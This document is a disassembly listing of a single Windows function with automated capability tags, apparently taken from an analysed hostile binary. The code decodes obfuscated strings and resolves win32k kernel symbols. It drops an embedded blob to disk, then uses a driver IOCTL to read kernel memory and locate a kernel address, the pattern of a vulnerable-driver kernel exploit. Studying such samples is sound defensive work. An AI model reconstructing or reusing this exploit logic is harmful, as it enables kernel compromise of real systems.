Function at 0x1400046c0
Capabilities:
Delete file
Encode data using base64
Encode data using xor
Encrypt data using speck

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x330
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140021040]
xor rax, rsp
mov qword [rbp + 0x200], rax
movzx r12d, cl
xor r13d, r13d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movsd xmm0, qword [str.K_IOYPLP_5B]
movsd qword [rsp + 0x40], xmm0
movzx ecx, word [0x14001a828]
mov word [rsp + 0x48], cx
movzx eax, byte [0x14001a82a]
mov byte [rsp + 0x40], 0x73
xor byte [rsp + 0x41], 0x39
xor byte [rsp + 0x42], 0x3a
xor byte [rsp + 0x43], 0x3b
xor byte [rsp + 0x44], 0x3c
xor byte [rsp + 0x45], 0x3d
xor byte [rsp + 0x46], 0x3e
xor byte [rsp + 0x47], 0x3f
xor cl, 0x40
mov byte [rsp + 0x48], cl
xor byte [rsp + 0x49], 0x41
xor al, 0x42
mov byte [rsp + 0x4a], al
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov rdx, qword [rbp - 0x70]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400047b1
lea rcx, [rsp + 0x50]
call fcn.14000bf30
nop
mov r8d, 0x14
lea rdx, str.System32win32k.sys
lea rcx, [rsp + 0x50]
call fcn.14000b400
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000483a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004835
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004835
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013570
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rbp - 0x68], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, 0x2b
lea rdx, str.https:__msdl.microsoft.com_download_symbols
lea rcx, [rsp + 0x70]
call fcn.14000bf30
nop
lea rdx, [rbp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.14000ae40
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp]
call fcn.140003cb0
nop
lea rcx, [rbp]
call fcn.140003de0
test al, al
je 0x140005140
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x16
lea rdx, str.NtUserSetGestureConfig
lea rcx, [rsp + 0x50]
call fcn.14000bf30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
movups xmmword [rbp + 0xd4], xmm0
mov dword [rbp + 0xe4], eax
mov dword [rbp + 0x90], 0x58
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea r8, [rbp + 0x90]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.dbghelp.dll_SymFromName]
mov rdx, qword [rsp + 0x68]
test eax, eax
jne 0x14000499c
cmp rdx, 0xf
jbe 0x140005140
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004992
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400049d9
call fcn.140013570
jmp 0x140005140
mov r14d, dword [rbp + 0xc8]
sub r14d, dword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x1400049e5
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013570
cmp r14d, 0xffffffff
je 0x140005140
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140021bb0], xmm0
movups xmmword [0x140021bc0], xmm0
movups xmmword [0x140021bd0], xmm0
movups xmmword [0x140021be0], xmm0
movups xmmword [0x140021bf0], xmm0
movups xmmword [0x140021c00], xmm0
mov dword [0x140021c10], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
mov rbx, r13
movsxd rsi, r8d
test r8d, r8d
jle 0x140004aba
lea r15, [0x140000000]
movabs r13, 0x4ec4ec4ec4ec4ec5
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r13
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + r15 + 0x1a7d0]
mov byte [rbx + r15 + 0x21bb0], al
inc rbx
cmp rbx, rsi
jl 0x140004a84
xor r13d, r13d
lea rcx, [rbp - 0x60]
call fcn.1400043e0
nop
cmp qword [rbp - 0x50], 0
je 0x1400050ec
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xf0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rdx, qword [rbp - 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140009d10
nop
mov r8d, 0x36c8
lea rdx, [0x140016ed0]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xf8]
test al, al
je 0x140004d5e
call fcn.14000b200
test rax, rax
jne 0x140004b78
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xf0]
call fcn.140004100
movups xmm0, xmmword [0x140016e18]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x140016e28]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x140016e38]
movups xmmword [rbp - 0x20], xmm0
mov eax, dword [0x140016e48]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140016e4c]
mov word [rbp - 0xc], ax
mov r8d, r13d
cmp dword [0x140021088], 2
jl 0x140004ce7
movdqa xmm5, xmmword [0x14001ac30]
movdqa xmm4, xmmword [0x14001acf0]
movdqa xmm6, xmmword [0x14001ac60]
movdqa xmm7, xmmword [0x14001ac90]
lea rcx, [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x140004bf0
cmp r8d, 0x1b
jge 0x140004d38
movsxd rax, r8d
lea r9, [rbp - 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x38
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x140004d00
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
lea rdx, [0x14000b8b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400050ec
call fcn.14000b200
test rax, rax
jne 0x140004d8b
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xf0]
call fcn.140004100
lea rcx, [rbp - 0x60]
call fcn.140011ac0
test al, al
jne 0x140004dbd
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x1400050ec
call fcn.14000dc70
test al, al
je 0x1400050e3
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0xc
lea rdx, [0x140016a50]
lea rcx, [rsp + 0x50]
call fcn.14000bf30
nop
lea rcx, [rsp + 0x50]
call fcn.140012850
mov qword [0x140021ba8], rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140004e4c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004e40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013570
mov rax, qword [0x140021ba8]
test rax, rax
je 0x1400050e3
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0xa
lea rdx, str.win32k.sys
lea rcx, [rsp + 0x50]
call fcn.14000bf30
nop
lea rcx, [rsp + 0x50]
call fcn.140012850
mov rbx, rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140004ecc
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ec7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ec7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013570
test rbx, rbx
je 0x1400050e3
movsxd r15, r14d
add r15, rbx
je 0x1400050e3
mov ecx, pe_nt_image_headers64
call fcn.140013914
mov rsi, rax
xor edx, edx
mov r8d, pe_nt_image_headers64
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rbx, rsi
mov r14, r15
sub r14, rsi
nop word [rax + rax]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x30], r13
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x24], xmm0
mov dword [rbp - 0x14], r13d
lea rax, [r14 + rbx]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x28], 1
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x30
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp - 0x40]
mov edx, 0x80002048
mov rcx, qword [0x140021c20]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400050db
movzx eax, byte [rbp - 0x24]
mov byte [rbx], al
inc rbx
mov rax, rbx
sub rax, rsi
cmp rax, 0x100
jb 0x140004f10
mov r9, r13
lea r11, [0x140016a70]
mov r10, rsi
sub r10, r11
nop dword [rax]
lea rdx, [0x140016a6c]
mov rax, r11
mov cl, 0x78
lea r8, [r9 + r10]
cmp cl, 0x78
jne 0x140004fc2
movzx ecx, byte [rax]
cmp byte [rax + r8], cl
jne 0x1400050cb
inc rdx
inc rax
movzx ecx, byte [rdx]
test cl, cl
jne 0x140004fb0
lea rax, [r9 + rsi]
test rax, rax
je 0x1400050db
sub rax, rsi
add r15, rax
mov rcx, rsi
call fcn.140013570
test r15, r15
je 0x1400050e3
mov dword [rbp - 0x68], r13d
mov rbx, r13
lea rcx, [rbp - 0x68]
mov r14, r15
sub r14, rcx
add r14, 3
nop dword [rax + rax]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x30], r13
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x24], xmm0
mov dword [rbp - 0x14], r13d
lea rsi, [rbp - 0x68]
add rsi, rbx
lea rax, [rsi + r14]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x28], 1
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x30
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp - 0x40]
mov edx, 0x80002048
mov rcx, qword [0x140021c20]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400050e3
movzx eax, byte [rbp - 0x24]
mov byte [rsi], al
inc rbx
cmp rbx, 4
jb 0x140005010
movsxd rcx, dword [rbp - 0x68]
add rcx, 7
add rcx, r15
mov qword [0x140021ba0], rcx
test r12b, r12b
je 0x1400050c6
call fcn.140008b40
test al, al
je 0x1400050e3
call fcn.140009400
test al, al
je 0x1400050e3
mov rcx, qword [0x140021c20]
call fcn.140007a20
test al, al
je 0x1400050e3
call fcn.140005290
test al, al
je 0x1400050e3
mov rdi, r13
jmp 0x1400050ec
inc r9
cmp r9, 0xfd
jb 0x140004fa0
mov rcx, rsi
call fcn.140013570
mov rcx, rdi
call fcn.140005bc0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000512f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000512a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000512a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013570
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r13w
cmp byte [rbp + 0x21], 0
je 0x140005173
mov edx, 0x10000000
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x1400051aa
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051ec
call fcn.140013570
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400051f8
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013570
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140005246
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005241
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005241
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013570
mov rax, rdi
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140013550
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret